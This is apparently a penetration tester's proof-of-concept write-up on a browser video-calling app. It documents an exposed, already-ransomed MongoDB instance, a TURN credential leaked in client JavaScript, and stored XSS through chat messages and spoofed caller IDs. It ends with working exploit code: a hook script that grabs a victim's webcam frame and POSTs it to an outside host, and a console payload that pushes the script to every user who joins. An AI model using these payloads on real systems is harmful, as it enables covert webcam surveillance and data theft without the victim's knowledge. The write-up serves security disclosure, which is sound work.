Conneczo: Looking Through Your Eyes!

Conneczo is a web-based video calling and instant messaging application. It allows users to connect to other people without requiring to register on the site. After starting the app by visiting conneczo, the user is assigned a number which he could share with his friends via email or Facebook. His friends now will be able to call him using this number. You can start using conneczo right from your browser as no additional downloads of apps or plugins are necessary.

Scope of PoC

The client wanted to go through a PoC before starting a formal pentest. The client has multiple web-RTC solutions, but among them, conneczo was in the scope of this pentest.

Reconnaissance of the scope

conneczo were found to be using the following technologies:

  • Socket.io
  • ExpressJS
  • NodeJS
  • CloudFlare
  • jQuery 1.11.3

As because the client uses CloufFlare to manage DNS records, it was not possible to identify actual open ports/services by using port discovery tools on conneczo.com.

Extended Recon

We identified an instance of a javascript file, main.js, located at /js folder of the application. That file revealed an IP address, 128.199.74.227.

var TURN = {  
    "url": "turn:[email protected]",
    "credential": "turn2s3rv3r"
};

An HTTP GET request to that IP address returned the following response:

HTTP/1.1 301 Moved Permanently  
Server: nginx/1.10.0 (Ubuntu)  
Date: Wed, 22 Feb 2017 13:43:59 GMT  
Content-Type: text/html  
Content-Length: 194  
Connection: close  
Location: https://conneczo.com/  

So it was pretty obvious that the conneczo app was running on 128.199.74.227. So, now we have a real IP which can be tested for open port discovery.

We used nmap for this and the result was:

beetles@beetles-mac:~$ nmap 128.199.74.227

Starting Nmap 7.12 ( https://nmap.org ) at 2017-02-22 19:48 BDT  
Nmap scan report for 128.199.74.227  
Host is up (0.12s latency).  
Not shown: 983 closed ports  
PORT     STATE    SERVICE  
22/tcp   open     ssh  
80/tcp   open     http  
443/tcp  open     https  
3000/tcp open     ppp  
3001/tcp open     nessus  
8080/tcp open     http-proxy

Nmap done: 1 IP address (1 host up) scanned in 10.72 seconds  

We found some open ports on the server, but nothing we could exploit. Hacking insecure MongoDB is still a buzz in the security industry and we checked any presence of MongoDB just out of curiosity. The result was unexpected:

beetles@beetles-mac:~$ nmap 128.199.74.227 -p 27017

Starting Nmap 7.12 ( https://nmap.org ) at 2017-02-22 19:55 BDT  
Nmap scan report for 128.199.74.227  
Host is up (0.11s latency).  
PORT      STATE SERVICE  
27017/tcp open  mongod

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds  

MongoDB Ransomware History

Groups of attackers have adopted a new tactic that involves deleting publicly exposed MongoDB databases and asking for money to restore them. In a matter of days, the number of affected databases has risen from hundreds to more than 10,000. The issue of misconfigured MongoDB installations, allowing anyone on the internet to access sensitive data, is not new. Researchers have been finding such open databases for years, and the latest estimate puts their number at more than 99,000.
#Reference

Vulnerable MongoDB instance on conneczo

We identified that the MongoDB instance of conneczo was vulnerable as because the database service was publicly exposed without any kind of authentication.

We got 3 (three) database on that mongo:

  • PLEASE_READ_ME
  • kotha_db
  • test
beetles@beetles-mac:~$ mongo --host 128.199.74.227  
MongoDB shell version v3.4.2  
connecting to: mongodb://128.199.74.227:27017/  
MongoDB server version: 3.2.9  
WARNING: shell and server versions do not match  
Server has startup warnings:  
2017-01-22T12:30:43.242+0600 I CONTROL  [initandlisten] ** WARNING: You are running this process as the root user, which is not recommended.  
2017-01-22T12:30:43.243+0600 I CONTROL  [initandlisten]  
2017-01-22T12:30:43.244+0600 I CONTROL  [initandlisten]  
2017-01-22T12:30:43.244+0600 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.  
2017-01-22T12:30:43.244+0600 I CONTROL  [initandlisten] **        We suggest setting it to 'never'  
2017-01-22T12:30:43.244+0600 I CONTROL  [initandlisten]  
2017-01-22T12:30:43.244+0600 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'.  
2017-01-22T12:30:43.244+0600 I CONTROL  [initandlisten] **        We suggest setting it to 'never'  
2017-01-22T12:30:43.244+0600 I CONTROL  [initandlisten]  
> show dbs
PLEASE_READ_ME  0.000GB  
kotha_db        0.000GB  
test            0.000GB  
>

MongoDB is already HACKED!

The database PLEASE_READ_ME grabbed our attention. So, we tried to read the database. The result was:

{
   "_id":ObjectId("589da1f36d3d6953d278d485"),
   "info":"Don't panic. Your DB is in safety and backed up (check logs). To restore send 0.05 BTC and email with your server ip or domain name. Each 48 hours we erase all data.",
   "amount":"0.2 BTC",
   "data_we_have":{
      "kotha_db":[
         "users",
         "sessions"
      ],
      "PLEASE_READ_ME":[
         "PLEASE_READ_ME"
      ],
      "local":[
         "startup_log"
      ]
   },
   "Bitcoin Address":"1PemEbnMSoiaXsEW5nRUpSMRB6RZw9MG8D",
   "email":"[email protected]"
}

It was discovered that a hacker ([email protected]) has already hacked this Mongo database and asked 0.2 BTC/0.5 BTC as ransom.

We checked the mongo log and found this:

2017-02-07T04:43:23.567+0600 I NETWORK  [initandlisten] connection accepted from 51.15.50.127:54716 #184 (12 connections now open)  
2017-02-07T04:43:24.341+0600 I COMMAND  [conn184] dropDatabase PLEASE_READ starting  
2017-02-07T04:43:24.348+0600 I COMMAND  [conn184] dropDatabase PLEASE_READ finished  
2017-02-07T04:43:24.690+0600 I COMMAND  [conn184] dropDatabase kotha_db starting  
2017-02-07T04:43:24.719+0600 I COMMAND  [conn184] dropDatabase kotha_db finished  
2017-02-07T04:43:25.058+0600 I COMMAND  [conn184] dropDatabase nuvedb starting  
2017-02-07T04:43:25.065+0600 I COMMAND  [conn184] dropDatabase nuvedb finished  
2017-02-10T17:20:16.527+0600 I NETWORK  [initandlisten] connection accepted from 51.15.63.113:58684 #199 (12 connections now open)  
2017-02-10T17:20:17.627+0600 I COMMAND  [conn199] dropDatabase PLEASE_READ_ME starting  
2017-02-10T17:20:17.651+0600 I COMMAND  [conn199] dropDatabase PLEASE_READ_ME finished  
2017-02-10T17:20:18.406+0600 I COMMAND  [conn199] dropDatabase kotha_db starting  
2017-02-10T17:20:18.410+0600 I COMMAND  [conn199] dropDatabase kotha_db finished  
2017-02-10T17:20:19.106+0600 I COMMAND  [conn199] dropDatabase local starting  
2017-02-10T17:20:19.108+0600 I COMMAND  [conn199] dropDatabase local finished  

The MongoDB was hacked twice and the databases were dropped and ransomed.

We found that the hacker ([email protected]) was involved in many other such MongoDB hacking incidence.

Application layer vulnerability

The conneczo application was found to be vulnerable against multiple XSS and IDOR's.

  • XSS via in-call instant messaging.
  • XSS via calling other user.
  • IDOR on in-call messaging (Not described in this PoC).

XSS via in-call instant messaging

The following function was executing on receiving new messages via socket.on('new message', function (data) {}):

  function addChatMessage(data, direction) {
      var dirC = "";
      if (direction == "out") {
          dirC = "chatUI-alt white";
      }
      var templeate = '<div class="chatUI ' + dirC + '">' +
          '<p>' + data.message + '</p>' +
          '</div>';

      var messagetpl = $(templeate).appendTo($('.chatBox'));
      $(messagetpl).data('sender', data.sender)
      if (data.typing) {
          $(messagetpl).addClass('typing');
      }
      $(".chatBox")[0].scrollTop = $(".chatBox")[0].scrollHeight

  }

It was observed that users message (data.message) was being rendered to the DOM without any kind of sanitization. Hence, it was possible to execute arbitrary javascript on the receivers end by using xss payload as the message.

payload: <script>alert(1)</script>

XSS via calling other user

When a user receives a call from another user, a socket event handler, newVideoCallRequest triggers. The following snippet was extracted from that event:

remoteUser = data.from;  
$('.notificationBox').hide();
var notificationTpl = '<div><h2>Incoming Call From ' + remoteUser + ' ...</h2><button type="button" class="btn btn-success acceptCall">Accept</button> <button type="button" class="btn btn-danger reject">Reject</button></div>';  

When a user calls some other user via conneczo, the following socket request emits:

42["newVideoChatRequest",{"sender":XXXX,"receiver":YYYY}]  

There is no check on the application end to verify the value of sender on the socket message. So, as a result it was possible to intercept outgoing websocket message and alter the actual value of sender with xss payload. The payload was executed on the receiver's browser.

payload: <script>alert(1)</script>
WebSocket Request:
JavaScript Execution on Receivers End:

XSS! Remove all the dependency.

We use Burp Suite to intercept WebSocket and HTTP requests. But there is some limitation of Burp Suite as it can't use WebSocket request in Burp Intruder and Burp Repeater. So far, we were able to execute javascript on receivers browser, but we needed the receiver's caller ID. So, there was a dependency on the attacker end, which was lowering the CVSS of the XSS vulnerability. But, what if we can leverage the conneczo application to fetch other users caller ID?

There was multiple event handler defined solely for the socket. An interesting event handler was:

socket.on('client joined', function(data) {  
    console.log(data);
});

This event handler was logging the data of all new users on the console.log.

So, we customized the payload and prepared a new payload:

var socket = io();  
socket.on('client joined', function (data) {  
clientid=data.clientId;  
socket.emit('newVideoChatRequest',{sender:"\"/><img src=x onerror=document.write('hacked')>",receiver:clientid});  
});

We did paste this payload on our console and it emitted the payload as soon any other user joins conneczo. So, we were able to execute javascript on conneczo without any user interaction.

WE SEE YOU, Through Your Eyes!

Normally an attacker would use the XSS to steal user cookies. But, conneczo is a unique app, where a user can use the application without any registration. That means all the user of conneczo is unauthenticated. So, stealing their cookie is a pointless idea. But, conneczo requires webcam permission and that's indeed a juicy thing for an attacker!

XSS can be used to sniff into victims webcam/microphone. But normally an attacker has to convince the victim to allow webcam permission. But, in the case of conneczo, the permissions are already granted and the attacker can execute javascript on that permitted ground. So, an attacker can sniff into victims webcam/microphone by exploiting the mentioned XSS. As no user interaction is needed, so anyone, who visits conneczo, can be hacked!

Reproduce:

(function() {
    e = document.createElement('canvas');
    e.setAttribute("id", "canvas");
    document.body.appendChild(e);
    e = document.createElement('img');
    e.setAttribute("id", "photo");
    document.body.appendChild(e);
    var video = document.querySelector('.selfvideo'),
        canvas = document.querySelector('#canvas'),
        notif = document.querySelector('.notificationMessageBox'),
        photo = document.querySelector('#photo');
    canvas.width = 320;
    canvas.height = 320;
    canvas.getContext('2d').drawImage(video, 0, 0, 320, 320);
    var data = canvas.toDataURL('image/png');
    photo.setAttribute('src', data);
    photo.style.visibility = "hidden";
    canvas.style.visibility = "hidden";
    notif.style.visibility = "hidden";
    var imgSource = document.getElementById('photo').src;
    var xhr = new XMLHttpRequest();
    xhr.open("POST", 'https://conneczopoc.beetles.io', true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.send("image=" + imgSource);
})();

We have saved the above file on https://conneczopoc.beetles.io/hook.js

Paste the following code on your browsers console:

var socket = io();  
socket.on('client joined', function (data) {  
clientid=data.clientId;  
socket.emit('newVideoChatRequest',{sender:'1234<script>document.querySelector(".notificationMessageBox").style.visibility = "hidden";</script><script src="https://conneczopoc.beetles.io/hook.js"/>',receiver:clientid});  
});

and wait till some one else visits conneczo. His webcam's screenshot will be captured and will be posted on https://conneczopoc.beetles.io/

Tarek Siddiki

Read more posts by this author.